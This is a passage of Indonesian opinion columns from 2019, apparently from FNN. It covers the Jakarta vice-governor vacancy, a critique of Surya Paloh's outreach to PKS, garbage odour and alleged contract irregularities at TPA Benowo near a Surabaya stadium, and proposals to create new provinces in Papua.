Gubernur ke DPRD. Kewajiban DPRD secara hukum, tidak lebih dan tidak kurang, mengadakan rapat paripurna istimewa untuk memilih wakil gubernur. Tidak lebih. Itu saja secara hukum. Haruskah DPRD membentuk Peraturan Tata Tertib baru yang khusus, terpisah dari Peraturan Tata Tertib yang ada, untuk dijadikan dasar pemilihan Wakil Gubernur? Tidak. Sama sekali tidak. Hanya ada satu peraturan tertib yang berlaku di DPRD. Karena DPRD periode 2019-2024 telah resmi bekerja, maka cukup beralasan menyatakan DPRD telah memiliki Peraturan Tertib. Masalahnya apakah soal-soal hukum yang menjadi penyebab yang melilit, dengan level kerumitan tak terhingga dalam urusan ini? Sejauh data yang bertebaran, yang dapat dicek secara objektif, cukup meyakinkan untuk menunjuk politik. Bukan hukum yang menjadi masalah terbesarnya. Politik, sekali lagi, menjadi masalah terbesarnya. Sayangnya kearifan dan kebijaksanaan politik politisi yang diminta hukum untuk digunakan dalam urusan ini tersembunyi. Entah dimana sembunyinya. Dengan mantel yang bentuknya terlampau rumit untuk dibayangkan. Bila mantelnya adalah ketentuan hukum yang menyatakan kekosongan kursi Wagub kurang dari 18 bulan tak perlu terisi, jelas bukan mantel yang benar, alias salah secara hukum. Waktu 18 bulan itu dihitung sejak jabatan itu kosong. Bukan sejak atau karena prosesnya rumit, memakan waktu berbulan-bulan. Sehingga mengakibatkan waktu tersisa kurang dari 18 bulan. Dalam kasus kekosongan jabatan Wagub DKI, hukumnya adalah pemilihan wakil gubernur wajib dilakukan sekalipun waktunya tersisa sebulan. Tetapi di atas semua itu, satu hal menarik sedang bicara dengan tipikalnya. Siapa bermain dibalik kerumitan tak berkesudahan ini. Hantu? Tidaklah. Ah rumit itu. Sudahlah lupakan itu. Menariknya tidak terdengar suara pemerintah pusat dalam urusan ini. Entah menikmati dengan nada apapun kekisruhan ini atau tidak, tetapi sikap diam pemerintah pusat mengundang tanya. Jangan diam. Bicaralah. Elok dan manis sekali bila Menteri Dalam Negeri mau bicara. Mengenali dan mengelola masalah ini. Dengan kapasitas sebagai pembina pemerintahan daerah. Saran saya kepada Menteri Dalam Negeri masuk dan selesaikanlah. Bila berkenaan, rangsanglah dengan intensitas tinggi Pemda –Gubernur dan DPRD. Hidupkan kearifan mereka menyudahi praktek tak bagus dan konyol ini. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Surya Paloh Tak Perlulah “Baperan Seperti Anak TK”

By Kisman LatumakulitaPenulis Kader Partai Nasdem & Wartawan Senior Jakarta, FNN - Bapak Surya Paloh. Yang kalau kita lihat, malam hari ini beliau lebih cerah dari biasanya. Sehabis pertemuan beliau dengan Pak Sohibil Iman di PKS. Wajahnya cerah setelah beliau berdua berangkulan dengan Pak Sobibul Imam. Saya tidak tahu maknanya apa? Tetapi rangkulannya tidak seperti biasanya. Tidak pernah. Tidak pernah saya dirangkul oleh Bang Surya seerat beliau merangkul Pak Sohibul Imam. Inilah penggalan pidato yang mengawali sambutan Prasiden Jokowi di ulang tahun Partai Golkar, di Hotel Sultan Rabu malam (06/11/2019). Hadirin terlihat bersemangat bertepuk tangan, disertai suara gemuruh. Tampak banyak hadirin yang tertawa, dengan sudut pandang yang berbeda-beda. Presiden Jokowi tampak senyum-senyum sambil melanjutkan sambutannya. Penggalan sambutan Presiden Jokowi itu, sebagai respons atas pertemuan DPP Partai Nasdem dengan Partai Keadilan Sejahtera (PKS) di kantor PKS Senin (04/11/2019). Dari gambar foto yang beredar di media massa, tampak Surya Paloh berangkulan dengan Presiden PKS Sohibul Iman. Sekilas yang bisa terbaca oleh nalar, sambutan Presiden Jokowi pada bagian yang khusus kepada Ketua Umum Partai Nasdem adalah candaan biasa-biasa. Walaupun demikian, publik bisa membacanya dari sudut pandang yang berbeda. Misalnya, dilihat sebagai peringatan yang biasa-biasa saja dari Jokowi. Sebaliknya, bisa juga bukan peringatan yang bukan biasanya. Surya Paloh menanggapi cadaan Jokowi dengan retorika yang khas, ketika membuka Munas ke-II Partai Nasdem di Jakarta Internasional Expo Kemayoran. Dengan gaya pidatonya yang biasanya menguasai panggung, Surya Paloh menanggapi sindiran Presiden Jokowi dua hari sebelumnya. Kata Surya Paloh “tingkat diskursus politik yang paling picisan di negeri ini. Hubungan rangkulan, tali silaturrahmi dimaknai dengan berbagai tafsir dan kecurigaan (detiknes 8/11/2019). Tepuk tangan kader Nasdem gemuruh dan membahana di arena kongres. Paloh menjelaskan, bangsa Indonesia sudah lelah dengan segala intrik yang mengundang sinisme satu sama lain. “Bangsa ini juga sudah lelah dengan kecurigaan satu sama lain. Sehingga ketika kita berkunjung ke kawan pun mengundang kecurigaan. Ini bangsa model apa yang seperti ini," tanya Paloh dengan bertanya-tanya. Tepuk tangan kader Nasadem kembali membahana. Berkoalisi dengan Prabowo Suka atau tidak, bahwa tanggapan Paloh ini tertuju pada pidato Presiden Jokowi dua hari sebelumnya di Holtel Sultan. Paloh sepertinya tidak terima candaan dari Presiden Jokowi itu. Padahal, jika dicerna dengan nalar yang jernih dan bersih, candaan Jokowi sangat terpuji, santun, indah dan berkelas. Mungkin Surya Paloh pura-pura budeg, bahwa pemerintah Presiden Jokowi periode kedua ini dibangun di atas rekonsiliasi yang basah keringat dan berdarah-darah. Banyak luka dan pilu yang sampai hari ini masih membekas dan menganga. Pemilu 2019 yang menghasilkan diameteral yang tajam di masyarakat, sampai sekarang belum pulih. Fakta politik di masyarakat ini, makin diperparah dengan pertumbuhan ekonimi Indonesia yang mandheg di angka 5%. Perang dagang raksasa ekonimi dunia Amerika vs Cina membuat Indonesia dan negara berkembang terjepit di tengah. Kenyataan ini diperparah dengan Shortfall pajak dalam negeri juga jauh dari target yang ditetapkan APBN 2019. Semua fakta politik dan ekonomi ini membuat Jokowi harus korbankan egoisme pribadinya. Jokowi perlu membuka tangan selebar-lebarnya, dan mengajak rivalnya Prabowo masuk dalam pemerintahnya lima tahun ke depan. Langkah Jokowi ini sebagai upaya awal mendinginkan suhu politik. Sehingga diharapkan berdampak secara sistemik kepada stabilitas pertumbuhan ekonomi ke depan. Sayangnya, di tengah Jokowi bekerja keras meyakinkan investor dunia untuk menanamkan modalnya di Indonesia. Caranya, dengan mengajak Prabowo masuk sebagai anggota koalisi, Surya Paloh malah bertingkah seperti anak kecil. Surya Paloh membangun aliansi strategis dengan PKS. Padahal PKS sudah memantapkan posisinya sebagai oposisi. PKS berada di luar pemerintahan Jokowi untuk lima tahun ke depan. Bagi PKS yang dominan warna-warna ke-Islaman, kedatangan Surya Paloh dan Nasdem tentu saja diterima dengan senang hati. Tafaddol, dan ahlan wasahlan. Politisi yang bukan Islam saja diterima PKS dengan tangan terbuka. Apalagi yang datang ini masih sesama Islam. Walaupun berbeda garis politik, PKS tak mungkin menolak kedatangan Surya Paloh dan Nasdem. Garis politik PKS adalah nasionalis religius. Sedangkan Nasdem nasional sekuler. PKS sebagai partai da’wah juga mau bilang kepada publik bahwa “al-Islaamu rahmatal lil ‘aalamin”. Artinya, Islam itu rahmat untuk seluruh isi alam. Sehingga PKS membuka diri dan pintu lebar-lebar kepada siapa saja yang mau bersilaturrahmi ke PKS. Bukan sebaliknya “al-Islaamu rahmatan lil muslimin. Artinya, Islam itu bukan hanya rahmat untuk kaum mulimin. Koalisi Rapuh Sebagai anggota koalisi pemerintah, langkah liar Surya Paloh dan Nasdem menggalang kemitraan strategis dengan PKS bisa menimbulkan pertanyaan di ruang publik. Investor tentu bertanya-tanya tentang kemungkinan rapuhnya pemerintahan koalisi Jokowi di awal-awal. Langkah Paloh ini bisa membuat investor mengambil posisi wait and see untuk masuk ke Indonesia. Pemerintah Jokowi saat ini membutuhkan investasi asing dalam jumlah besar. Untuk itu dibutuhkan iklim politik yang kondusif dan sejuk. Sehingga tidak membuat investor ragu. Langkah pertama adalah berkoalisi dengan rivalnya Prabowo. Sebab, faktanya belum lama ini sekitar 60 lebih perusahaan besar yang keluar dari Cina,. Namun sayangnya, tidak satupun yang mau mampir ke Indonesia. Untuk itu, Paloh agar lebih dewasa dalam berpolitik. Paloh harus lebih wise sebagai politisi di usianya yang sudah uzur itu. Tidak perlulah “baperan” (bewah perasaan) kaya anak Taman Kanak-Kanah (TK). Perbedaan yang terjadi di dalam koalisi, sebaiknya didiskusikan atau dibicarakan saja ke dalam. Jangan hanya karena keinginan untuk mendapatkan pos jabatan atau kementerian tententu tidak bisa dipenuhi Pak Jokowi, lantas berulah seperti anak kecil. Seperti anak yang masih Taman Kanak-Kanak. Kebiasaan anak-anak kecil itu, kalau ada perminataannya atau keinginannya yang tidak bisa dipenuhi orang tuanya, suka bertingkah aneh-aneh. Suka lempar rumah, dan tidak mau pulang ke rumah. Kalau pulang ke rumah pun, tidak mau makan. Terdengar kabar yang mungkin saja tak benar validitasnya, Surya Paloh meminta kepada Jokowi agar Nasdem tetap di posisi Jaksa Agung. Selain itu, minta agar Kementerian ESDM diberikan kepada Nasdem. Kementerian ESDM ini sebagai kompensasi hilangnya Kementerian Perdagangan dari genggaman kader Nasdem. Kalau mau belajar tentang kedewasaan, maka sebaiknya balajarlah dari kami orang Maluku. Sudah lebih 41 tahun, kami orang Maluku tidak dikasih posisi menteri di kabinet. Menteri terakhir yang dari putra Maluku adalah dokter Gerrit Augutinus Siwabessy sebagai Menteri Kesehatan di tahun 1978. Padahal kami orang Maluku adalah pemegang saham pendiri bangsa ini. Satu di antara delapan provinsi yang mendirikan bangsa Indonesia ini di tahun 1945 adalah Maluku. Toh, kami orang Maluku tidak baperan tuh. Kami tidak juga meminta untuk dilakukan referendum. Tidak berupaya untuk memisahkan diri dari Negara Kesatuan Republik Indonesia (NKRI). Namun sebaliknya, kami orang Maluku tetatp setia dan mencintai NKRI ini. Pagi Tempe Sore Dele Sebagai politisi senior, Surya Paloh juga harus konsisten dengan ucapannya. Kalau dalam bahasa agama harus lebih tawaddu dengan yang diucapkan. Agar bisa diteladani dan dikenang sebagai politisi yang berkarakter. Sebab banyak perilaku politik Surya Paloh yang tak sesuai dengan ucapannya. Contoh yang paling nyata bisa dlihat di manifesto politik Partai Nasdem. Awalnya, Nasdem menolak Pilkada dilakukan secara langsung. Berbagai alasan dikemukakan sebagai dalil pembenar atas sikap politik Partai Nasdem tersebut. Namun setelah memiliki kursi di DPR. Giliran Partai Nasdem yang paling getol dan menikmati Pilkada langsung tersebut. Tagline Partai Nasdem ketika itu adalah “Pilkada Tanpa Mahar atau Politik Tanpa Mahar” Tahun 2014, Surya Paloh mengatakan di depan pertemuan kader Partai Nasdem di Ancol membuat pernyataan yang luar biasa hebat. Ketika itu Surya Paloh bilang “kalau tidak masuk tiga besar, dipastikan Nasdem tidak mengajukan calon presiden”. Namun, baru hari pertama Pemilu 2014, dan masih dalam hitungan cepat lembaga survei, Nasdem ketika itu di urutan 9 partai yang lolos ke DPR. Hari itu juga Nasdem dan PDPI sudah mengadakan pertemuan di kantor Nasdem untuk mengajukan Jokowi sebagai calon Presiden. Begitu juga ketika mengajukan Ahok sebagai calon Gubernur DKI Jakarta 2017. Salah satu alasan mencalonkan Ahok yang sering dikemukakan kader-kader Nasdem adalah menolak politik identitas. Dengan alasan itu juga, stasiun televisi milik Surya Paloh, Metro TV tidak memberitakan kegiatan Reuni Akbar 212 2018. Acara yang diperkirakan dihadiri sekitar 13 juta manusia itu sepi dari pemberitaan Metro TV. Kegiatan Reuni Akbar 212 tidak diberitakan Metro TV, karena dianggap berkait erat dengan politik identitas. Padahal secara personal, orang-orang PKS adalah bagian penting, bahkan sangat kental dalam kegiatan Reuni Akbar 212 tersebut. Kumpulan politik identitas inilah yang memenangkan Anies Baswedan sebagai Gubernur DKI Jakarta 2017. Setelah itu kumpulan politik identitas juga yang berdiri di belakang dan mencalonkan Prabowo Subianto sebagai calon presiden melawan Jokowi di Pilpres 2019. Kini giliran Surya Paloh dan Partai Nasdem berangkulan erat dengan Presiden PKS Sohibul Imam. Fakta inilah yang mendorong Presiden Jokowi mengomentarinya, dengan berbagai sudut pandang. Padahal tidak bisa dipungkiri, bahwa PKS sejak kelahirannya sudah kental warna politik identitas. Itu kenyataan dan fakta yang ada. Kalau prilaku politik Surya Paloh, yang “pagi tempe sore dele” begitu bisa berdampak negatif. Apa kata dunia Bang Surya Paloh? Bagaimana juga dengan puluhan ribu, bahkan mungkin ratusan ribu kader Nasdem yang sudah ikut sekolah Akademi Bela Negara Nasdem (ABNN) itu? Janganlah warisi perilaku yang tidak konsisten, yang kurang bijak seperti itu kepada generasi muda bangsa ini. Abang Surya Paloh kan politisi senior yang hebat. Abang juga wartawan senior yang hebat. Kalau perilaku politik Bang Surya Paloh yang berubah-ubah dan kekanak-kanakan tersebut, karena faktor umur, yaa bisalah dipahami dan diterima. Namu jangan juga sampai “janji satu sebelas yang meleset bang”. End

Jelang Piala Dunia, Aroma TPA Benowo Usik Gubernur

Oleh Mochamad Toha Jakarta, FNN - Jika Anda melewati kawasan Stadion Gelora Bung Tomo (GBT) yang terletak di Kecamatan Benowo, Kota Surabaya, dapat dipastikan bakal menghirup aroma bau sampah yang sangat “tidak sedap”. Kalau tidak percaya, silakan mencobanya! Bahkan, aroma bau tidak sedap itu terkadang sampai menembus ruas jalan Tol Surabaya – Gresik. Dari ruas jalan tol ini akan tampak dua pemandangan yang sangat ironis. Stadion GBT dan gunungan sampah yang tampak di sisi utaranya. Aroma bau tidak sedap itulah yang memancing Gubernur Jatim Khofifah Indar Parawansa menyoal bau sampah di Stadion GBT tersebut. Inilah yang membuat Walikota Surabaya Tri Rismaharini merasa “tersinggung” atas ucapan Khofifah itu. Meski tersinggung, tapi Risma tak meledak seperti biasanya. Reaksi keras justru muncul dari kalangan birokrat Pemkot Surabaya dan beberapa pentolan Bonek, suporter Persebaya. Bau tidak sedap itu dirasakan Khofifah saat sidak ke Stadion GBT. Gubernur Khofifah berkunjung ke GBT pasca suporter Persebaya merusak fasilitas GBT usai kalah dari PSS Sleman, Selasa (29/10/2019). Padahal, stadion yang dibangun ketika Walikota Bambang DH ini disiapkan untuk Piala Dunia U-20 pada 2021. Melansir Beritajatim.com, Jum’at (1/11/2019), Gubernur Khofifah sendiri telah mengunjungi Stadion GBT dan menyatakan GBT kurang layak jadi venue Piala Dunia U-20 karena aroma sampah yang tercium dari TPA Benowo itu. “Saya sudah ke GBT. Kalau sore, kena angin suka aroma sampah. Engko nek (nanti kalau) pas FIFA visit ke sana terus pas anginnya itu masuk, ini aroma apa,” kata Gubernur Khofifah di Gedung Negara Grahadi Surabaya, Jumat (1/11/2019). Namun salah seorang Bonek, Yusuf Hidayat, justru heran dengan reaksi anak buah Walikota Risma yang terkesan ‘kebakaran jenggot’ atas pernyataan Khofifah. “Memang bau (sampah) kok! Waktu nonton Persebaya lawan PSS Sleman lalu, bau sampah juga terasa,” katanya. “Tidak hanya sekali, beberapa kali saya nonton Persebaya, sebelum masuk stadion (bau sampah) sudah tercium,” sambung Bonek asli Kelurahan Ujung, Kecamatan Semampir, Surabaya itu. Yusuf menegaskan bahwa dirinya tidak dalam posisi membela Khofifah. Tapi, sebagai Arek Suroboyo dan fans berat Persebaya hanya mengharapkan keseriusan Pemkot Surabaya untuk mengatasi hal tersebut. “Tidak hanya bau, infrastruktur menuju stadion juga masih kurang bagus, apalagi lahan parkirnya yang masih semerawut,” ungkap Bonek yang juga Ketua NU Care-Lazisnu Surabaya tersebut. Menpora Zainudin Amali yang berkunjung ke Stadion GBT, Minggu 4 November 2019, juga merasakan hal yang sama. Seperti dilansir VIVAnews.com, Senin (4/11/2019 | 07:12 WIB), sayangnya, ketika dia tiba, pintu stadion terkunci. Kunjungan Zainudin ini sedianya untuk melihat kondisi terkini Stadion GBT usai kerusuhan beberapa waktu lalu. Sebagai salah satu lokasi yang disiapkan sebagai tuan rumah untuk Piala Dunia U-20 2021, tentu harus jadi perhatian. Belakangan, bukan cuma kondisi usai kerusuhan yang menjadi sorotan. Gubernur Khofifah mengatakan Stadion GBT bau sampah. Rupanya Zainudin juga mencium bau yang berasal dari TPA Benowo itu. Aroma tidak sedap, bau sampah. Aroma Korupsi Aroma bau sampah tidak sedap dari TPA Benowo itu sebetulnya sudah terjadi jauh sebelum GBT dibangun. Sebenarnya GBT bukan proyek Risma. Mengutip wartawan senior Dhimam Abror, stadion ini dibangun di era Walikota Bambang DH. Entah bagaimana ceritanya dulu. Menurut Abror, stadion ini dibangun begitu mepet dengan TPA Benowo. Orang Surabaya menyebutnya gung lewang lewung alias tempat jin buang anak, tidak ada akses yang memadai guna menuju ke GBT. Abror melihat, beberapa hari belakangan ini Risma tengah sensi karena banyak jadi sasaran kritik. Ia sedang diserang soal mafia perizinan yang disebut-sebut melibatkan salah satu anak kandungnya. Ia dan pendukungnya mati-matian menangkisnya. Tapi yang jelas, dari jejak digital news terkait TPA Benowo juga tercium aroma korupsi. Di sana masih ada masalah proyek “Sampah Benowo” yang hingga kini belum tuntas. Bermula dari berkas perjanjian kerjasama penyediaan sarana dan prasarana TPA Benowo No. 658.1/4347/436.6.5/2012 dan No. 88/JBU-SO/8/2012 pada 8 Agustus 2012, ditandatangani Walikota Risma bersama Direktur Utama PT Sumber Organik. Antara lain disebutkan, pada tahap pertama PT SO harus dapat menyelesaikan pekerjaan bangunan pengolahan sampah eksisting dan harus sudah beroperasi paling lambat 540 hari kalender terhitung sejak penandatanganan berita acara pada 8 Agustus 2012. Faktanya, hingga pertengahan Desember 2013 atau 485 hari sejak penandatanganan tersebut, bangunan pengolahan sampah eksisting belum terealisasi. Kalau dihitung hari kalender, sejak 8 Agustus 2012 sampai tutup tahun pada 31 Desember 2013, maka PT SO hanya memiliki sisa waktu 55 hari untuk merealisasikan bangunan pengolahan sampah eksisting dimaksud. Jika PT SO belum juga membangun bangunan pengolahan sampah eksisting, maka PT SO dikenai denda satu permil dari nilai investasi untuk setiap hari keterlambatan maksimal 554 hari. PT SO juga diwajibkan menyelesaikan bangunan pengelolaan sampah baru itu, baik dengan composting, incenerator maupun gasifikasi paling lambat 1.094 hari sejak ditandatanganinya perjanjian kerjasama penyediaan sarana dan prasarana TPA Benowo itu atau setidaknya pada akhir 2014. Jika gagal, PT SO akan dikenai sanksi denda satu permil dari nilai investasi untuk setiap hari maksimal 60 hari. Dan, jika PT SO gagal untuk kali kedua, maka Walikota Surabaya wajib memutus perjanjian kerjasama tersebut. Sumber fnn.co.id membenarkan, sebelum 8 Agustus 2012, pengelolaan sampah di TPA Benowo dilakukan UPTD LPA Benowo menggunakan teknologi open dumping atau lempar hampar dibarengi penyemprotan Em4 sejak 2007. Tujuannya untuk mereduksi bau busuk, sehingga tidak mengganggu lingkungan sekitar, meredam asap jika sampah tiba-tiba terbakar dengan sendirinya, menekan perkembangan hama tikus, nyamuk dan lalat sekaligus sebagai upaya melawan penyebaran penyakit. Pada 2012, bahan kimia Em4 terakhir kalinya ditenderkan di Unit Layanan Pelelangan (ULP) Eproc Pemkot Surabaya untuk sub bidang jasa pembersihan, pest control, termite control, fumigasi. Pemenang lelang dengan nilai Rp 480 juta lebih melakukan penyemprotan Em4 setiap hari pada gunungan sampah open dumping di TPA Benowo yang saat itu dikelola UPTD LPA Benowo. Akhirnya, UPTD LPA Benowo dibubarkan Walikota Surabaya terhitung sejak 9 Agustus 2012 setelah diberlakukan surat perjanjian kerjasama antara Walikota Surabaya dengan PT SO. Sejak tanggal itu pula, rekanan pemenang lelang penyemprotan Em4 diputuskan secara sepihak oleh DKP. Dalam perjanjian tersebut, PT SO menggantikan peran UPTD LPA Benowo dan selama 540 hari memiliki kewajiban mengelola sampah dengan teknologi sanitary lanfiil secara tuntas, termasuk pengelolaan lindi sesuai baku mutu internasional yang ditetapkan dalam peraturan perundangan yang berlaku. Dari pengelolaan sampah menggunakan teknologi open dumping itulah, PT SO mendapatkan tipping fee Rp 15,6 miliar pada 2012. Pada TA 2013, PT SO memperoleh total tipping fee Rp 46,8 miliar, padahal biaya yang dikeluarkan PT SO tersebut amat sangat rendah. Sewa tanah TPA Benowo seluas 37,5 ha itu hanya membayar Rp 1,2 miliar selama 4 bulan (Agustus – Desember) 2012 ke kas Pemkot Surabaya. Pada 2013 membayar lagi ke kas Pemkot Surabaya sebesar Rp3,9 miliar lebih. Sementara biaya penyemprotan Em4 yang dikeluarkan PT SO hanya Rp 160 juta selama 4 bulan (Agustus-Desember) dan pada 2013 mengeluarkan lagi biaya sebesar Rp 480 juta. Pemenangan PT SO diduga melibatkan Wisnu Sakti Buana (kini Wakil Walikota Surabaya) dan kakak kandungnya, Jagad Hariseno dalam proyek pengelolaan sampah Benowo. Peran Wisnu Sakti Buana yang saat itu sebagai Wakil Ketua DPRD Kota Surabaya sangat dominan dalam Pansus dan persetujuan pimpinan DPRD dalam mega proyek yang dinilai merugikan negara tersebut. I Wayan Titib Sulaksana, Penasehat Umum Aliansi Masyarakat Anti Korupsi (AMAK) menilai alokasi anggaran tipping fee pengelolaan sampah di TPA Benowo dalam APBD Surabaya 2013 tidak transparan. Misalnya, pada 2013 adalah tahun kedua bagi pemkot untuk kembali mengucurkan dana yang bersumber dari APBD Kota Surabaya sebesar Rp 56 miliar, dan diusulkan ditambah Rp 9 miliar dalam Perubahan Anggaran Keuangan (PAK). Saat ini persoalan persampahan di Kota Surabaya sangat menyita perhatian publik, karena tidak adanya transparansi dari PT Sumber Organik selaku pemenang tender yang bernomor 510/13799/436.6.5/2011 pada 22 Agustus 2011 senilai kurang lebih Rp 362 miliar. Kontrak PT SO dan Pemkot Surabaya itu sebenarnya tidak pernah setujui DPRD Surabaya, kecuali Ketua DPRD Wishnu Wardana dan Wakil Ketua DPRD Wisnu Sakti Buana saat itu. Kalau mau, itu bisa menjadi petunjuk penegak hukum jika mau mengusut soal ini. Karena, faktanya, tidak pernah di-acc di Rapat Paripurna DPRD Surabaya. Mengapa cuma pimpinan DPRD Surabaya yang setuju? Mengapa tidak lewat paripurna? Padahal, itu juga menyangkut dana besar! Semoga saja Gubernur Khofifah juga mencium aroma korupsi terkait dengan perjanjian PT SO dengan Pemkot Surabaya tersebut. Logikanya, pasti ada yang tidak beres dengan kelola sampah yang dilakukan PT SO. Audit forensik atas pelaksanaan pembangunan TPA Benowo perlu dilakukan segera. Rakyat menunggu langkah Gubernur Khofifah. Untuk persiapan Piala Dunia U-20 2021 mendatang, masih ada GOR Delta Sidoarjo yang cukup layak. Selain bau tak sedap, dari sisi estetika, “gunung sampah” sangat tidak elok dipandang mata. Apalagi jika ditinjau dari kesehatan dan lingkungan. Sangat tidak sehat! *) Penulis adalah wartawan senior.

Akankah Papua Mekar Lagi?

Oleh Dr. Margarito Kamis Jakarta, FNN - Papua, negeri diujung Timur Indonesia itu, sebelum reformasi menggulung banyak hal. Bernama Irian Jaya. Nama ini tidak mungkin, dengan alasan apapun dilepaskan dari almarhum Pak Frans Kaisepo, putra asli Papua juga. Pak Frans melakukan itu hampir bersamaan dengan negara ini diproklamasikan. Pak Frans, tentu dengan semua kehormatan yang disandangnya sebagai manusia, dan sebagai pejuang, harus ditunjuk sebagai pemberi nama itu. Negeri Papua juga punya cerita yang terjalin khas dengan Kesultanan Tidore, Seram dan Kesultanan Ternate. Jejak-jejak kecilnya, untuk beberapa masih terlacak dalam sejarah yang terekam. Kalana, yang menurut Rosmaida Sinaga semakin ke timur terucap korano yang berarti raja. Kata ini terambil dari kata kolano (bahasa Tidore) yang berarti raja. Masih menurut Rosmaida, di kepulauan Raja Ampat (Waigeo, Salawati, Misool dan Waigama) dan empat kampung (Rumbarpon, Rumbarpur, Rumansarai, dan Angkaradifu), Sultan Tidore mengangkat para tetua atau kepala adat penduduk. Mereka berfungsi sebagai perantara untuk mengutip pajak dan upeti lainnya dari penduduk, lalu menyetorkan ke Sultan Tidore. Tidore di Papua, dan Papua sendiri akhirnya menemukan kenyataan lain. Belanda memperlihatkan watak ekspolitatifnya. Pada 24 Agustus 1828 Belanda, diwakili Komisaris J.A Delden memproklamirkan kepemilikan Sri Baginda Raja Belanda atas seluruh wilayah bagian Barat Nieuw Guniea, kecuali wilayah yang menjadi hak kesultanan Tidore. Delden, sesudah proklamis itu bergerak lebih jauh. Delden mengadakan perjanjian dengan tiga pimpinan Papua. Mereka adalah Raja Namatote, Raja Lakahia dan orang Kaya Lobo dan Marawa. Imbalannya Belanda memberikan perlindungan terhadap para Raja. Para Raja menerima sebuah akta pengangkatan, sebuah tongkat perak dan sehelai kain merah sebagai tanda jabatan dari pemerintah Belanda. Perbedaan Tetapi dalam perjalanannya yang bergelombang, terlihat nama Papua lebih disukai orang Papua daripada Irian Jaya. Disepanjang jalan politik yang bergelombang itu juga, Papua berubah secara administrative, dari hanya satu provinsi menjadi dua. Provinsi Papua dan Papua Barat. Kelak mungkin juga akan bertambah lagi dengan dibentuk provinsi baru. Entah apa namanya. Hasrat menambah lagi provinsi disepanjang Papua masih terus hidup. Khas hasrat berdimensi politis. Gagasan ini menemukan jalan sampai ke Istana Presiden. Sejumlah orang, entah diprakarsai atau hal lainnya, menemui Presiden Jokowi. Dalam pertemuan yang selalu langka untuk sejumlah alasan itu, 61 tokoh dan mahasiswa Papua di Istana Negara menyajikan gagasan pembentukan provinsi baru. Presiden menyambutnya. Kepada Kementerian Dalam Negeri, segera setelah itu Presiden Jokowi memerintahkan segera mengecek terkait UU atas aspirasi para tokoh Papua (republika.co.id 10/9). Menariknya gagasan pembentukan provinsi bukan gagasan tunggal dalam pertemuan itu. Para tokoh ini juga menggagas pembentukan Badan Nasional Urusan Tanah Papua, dan penempatan pejabat eselon satu dan eselon dua di Kementerian dan TPMK (republika.co.id 11/9/2019). Akankah aspirasi para tokoh mahasiswa dan masyarakat di atas segera direalisasikan? Itu soalnya. Mengapa? Realitasnya tidak tunggal. Kelompok pendukung pemekaran, dalam kenyataannya berdampingan dengan kelompok penolakan pemekaran. Mereka cukup jelas, menolak pemekaran. Laurenzus Kadepa dan Selpius Goo misalnya jelas menolak pemekaran. Bagi Laureszus pemekaran akan menghancurkan keutuhan yang telah lama terjalin di Papua. Bagi Laurenzus, ide ini berasal dari intelijen. Menurutnya, ada kepentingan politik. Dalam nada yan sama Selpius Goo, menegaskan pemekaran tidak dibutuhkan masyarakat. Yang dibutuhkan adalah pemberdayaan masyarakat disegala bidang. Ketika masyarakat tidak diberdayakan, mereka akan tersisi dari segala bidang (Suara Papua.com, 5/11/2019). Menariknya, Matius Awoitauw, Ketua Asosiasi Kepala Daerah Tanah Tabi, punya pandangan berbeda. Dengan nada yang khas, menurut Matius, penolakan pemekaran merupakan pendapat pribadi. Penolakan ini, lanjut Matius, yang dilayangkan atas nama Majelis Rakyat Papua (MRP) oleh Ketua MRP Timotius Murib diyakini tak mewakili lembaga. Dalam perencanaan Pemerintah Provinsi Papua, Matius dengan langgam teknokratis menegaskan telah mengatur seperti itu (medcom.id, 5/11/2019). Matius tidak sendirian. Ada Isaias Douw, Bupati Kabupaten Nabire. Ini sayap lain yang senada. Nada mendukung pembentukan Provinsi baru itu nyata, nyaring terdengar dalam pertemuannya dengan Panitia Khusus Dewan Perwakilan Daerah (DPD) yang diketuai Filep Wamafma, anggota DPD dari Provinsi Papua Barat. Isaias mengemukakan adanya keinginan masyarakat di wilayah adat Mee Pago untuk mengaktifkan kembali UU Nomor 45 Tahun 1999 dengan kesepakatan Ibu Kota Provinsi Papua Tengah di Kabupaten Mimika (Hidayatullah.com, 6/11/2019). Tekad Membaja Bagaimana menemukan jalan indah yang melegakan ditengah dua hasrat yang terlihat berbeda itu? Itu pekerjaan yang, dengan segala kepelikan di dalamnya harus dijalani. Semua yang terlihat beda pada setiap sayapnya itu, suka atau tidak, harus diurai sebaik yang bisa. Tentu agar dapat disajikan sebuah modus pemecahan manis demi kesentosaan semua ummat manusia di Papua. Papua yang diakhir abad ke-19, setidaknya pada tahun 1893 sempat dikendalikan oleh keresidenan Ternate. Kala itu keresidenan ini dipimpin oleh Horts, memilih Manokwari sebagai pusat kontrolir. Itu dulu, lain dengan sekarang. Papua Mutakhir sejauh ini terlihat berbeda. Hasrat menghadirkan lagi satu provinsi harus berhadapan dengan hasrat sebaliknya, tidak perlu. Apakah hasrat ini harus direspon sepenuhnya secara teknokratis atau politis? Penglihatan tipikal mata elang, terlihat diperlukan dan harus diketengahkan. Tetapi apaun itu wacana pembentukan provinsi Papua Tengah dan Papua Selatan, sejauh ini memperlihatkan garis sejarah yang bersambung. Menurut Rosmaida, tahun 1898 Belanda menyetujui biaya untuk menegakan pemerintahan di Nieuw Guinea. Penegakan pemerintahan ini dituangkan dalam Keputusan Gubernur Jendral 5 Februari 1898 Nomor 5. Keputusan membagi keresidenan Ternate dan sekitarnya menjadi 10 wilayah. Wilayah Nieuw Guinea dibagi menjadi dua afdeling. Wilayah bagian utara disebut Afdeeling Noord Nieuw Guinea (afdeling Nieuw Guinea Utara) dan bagian Barat dan Selatan disebut Afdeeling West en Zuid Nieuw Guinea. Kedua afdeeling ini dijadikan bagian dari keresidenan Ternate. Sejarah memang cukup sering mendatangkan kearifan. Walau terlalu sering diabaikan, entah karena para politikus. Menghadirkan provinsi baru, entah berapa di pulau manis ini atau mengabaikannya, lalu tenggelam ke dalam pembangunan sumberdaya manusia? Kearifan, betapapun sering diabaikan, selalu menjadi panggung paling manis untuk mempertemukan, mencairkan perbedaan-perbedaan. Melangkah ke depan menggapai esok yang memukau, yang telah menjadi fitrah setiap anak manusia, selalu meminta pengertian lebih. Tidak selalu harus sama dengan melupakan semua yang dulu atau menguburkannya, tetapi membiarkan dimensi tertentu yang dulu memukau, mesti diambil. Langkah ini berat. Tetapi hasrat yang membatu bisa muncul menjadi jawaban final. * Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Jangan Dzalimi Umat Muhammad SAW Dengan Jabatan, Nanti Tersiksa

